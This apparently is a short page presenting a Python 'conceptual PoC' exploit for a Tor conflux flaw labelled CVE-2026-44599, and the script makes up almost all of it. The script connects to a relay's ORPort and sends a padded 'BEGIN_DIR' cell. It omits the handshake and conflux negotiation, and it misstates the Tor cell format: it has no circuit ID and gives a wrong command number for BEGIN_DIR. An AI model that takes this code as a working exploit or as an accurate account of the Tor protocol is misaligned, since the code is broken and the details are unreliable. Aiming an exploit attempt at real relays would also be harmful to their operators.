CVE-2026-44599 Tor conflux legs完整性漏洞

import socket import struct # Conceptual PoC for CVE-2026-44599 # This script attempts to send a BEGIN_DIR cell via a simulated conflux leg connection. # Note: Actual exploitation requires understanding the Tor protocol handshake and conflux negotiation. TARGET_HOST = "127.0.0.1" # Replace with target Tor relay IP TARGET_PORT = 9001 # Replace with target Tor relay ORPort def create_cell(cell_type, payload): # Simplified Tor cell creation header = struct.pack("!H", cell_type) return header + payload.ljust(509, b'\x00') # Pad to standard cell size def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # 1. Perform Tor Handshake (Versions, Certs, etc.) - Omitted for brevity # 2. Negotiate Conflux (if supported) - Omitted for brevity # 3. Send BEGIN_DIR cell via the established leg # CELL_BEGIN_DIR is typically type 8 or 9 depending on version context begin_dir_cell = create_cell(8, b'BEGIN_DIR_PAYLOAD') s.send(begin_dir_cell) print(f"[+] Sent BEGIN_DIR cell to {TARGET_HOST}:{TARGET_PORT}") response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()